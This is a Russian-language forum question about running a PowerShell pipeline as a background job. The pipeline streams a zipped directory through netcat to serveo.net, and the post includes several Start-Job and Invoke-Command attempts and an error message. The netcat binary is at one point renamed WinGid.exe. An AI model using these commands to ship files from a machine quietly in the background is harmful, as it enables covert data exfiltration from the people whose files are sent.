У меня 2 компьютера, 1 прослушивает соединения, а другой пытается отправить файл.
$ dir - это файл
"$ dir.zip " - это заархивированный файл $ dir.
Я успешно выполнил эту команду.
Get-Content "$dir.zip" | .\Netcat32.exe serveo.net PORT
Однако я хочу запустить ее в фоновом режиме, чтобы я могвыполнить другие команды.
Я следовал инструкциям Microsoft по запуску заданий и обнаружил AsJob и Start-Job
Эта команда была успешной, но она не работает в фоновом режиме:
Invoke-Command -ScriptBlock {Get-Content "$dir.zip" | .\Netcat32.exe serveo.net PORT}
Однако, когда я добавляю тег -AsJob в конце строки ...:
Invoke-Command -ScriptBlock {Get-Content "$dir.zip" | .\Netcat32.exe serveo.net PORT} -AsJob
Я получаю эту ошибку:
Invoke-Command : Parameter set cannot be resolved using the specified named parameters.
At line:1 char:1
+ Invoke-Command -ScriptBlock {Get-Content "$dir.zip" | .\Netcat32.exe se ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : InvalidArgument: (:) [Invoke-Command], ParameterBindingException
+ FullyQualifiedErrorId : AmbiguousParameterSet,Microsoft.PowerShell.Commands.InvokeCommandCommand
Но когда я изменяюкоманда к следующему я не получаю ошибок, она запускается в фоновом режиме, но по-прежнему нет подключения: (я заметил, что ComputerName по умолчанию является localhost)
Invoke-Command -ComputerName localhost -ScriptBlock {Get-Content "$dir.zip" | .\Netcat32.exe serveo.net 55558} -AsJob
Эта команда не возвращает ошибок, выполняется вв фоновом режиме, но соединение не установлено:
Start-Job -ScriptBlock {Get-Content "$dir.zip" | .\WinGid.exe serveo.net PORT}
Пробовал тоже, работает в bg, но не установлено TCP-соединение:
Start-Job -ScriptBlock { invoke-Command -ScriptBlock { Get-Content "$dir.zip" | .\WinGid.exe serveo.net PORT } }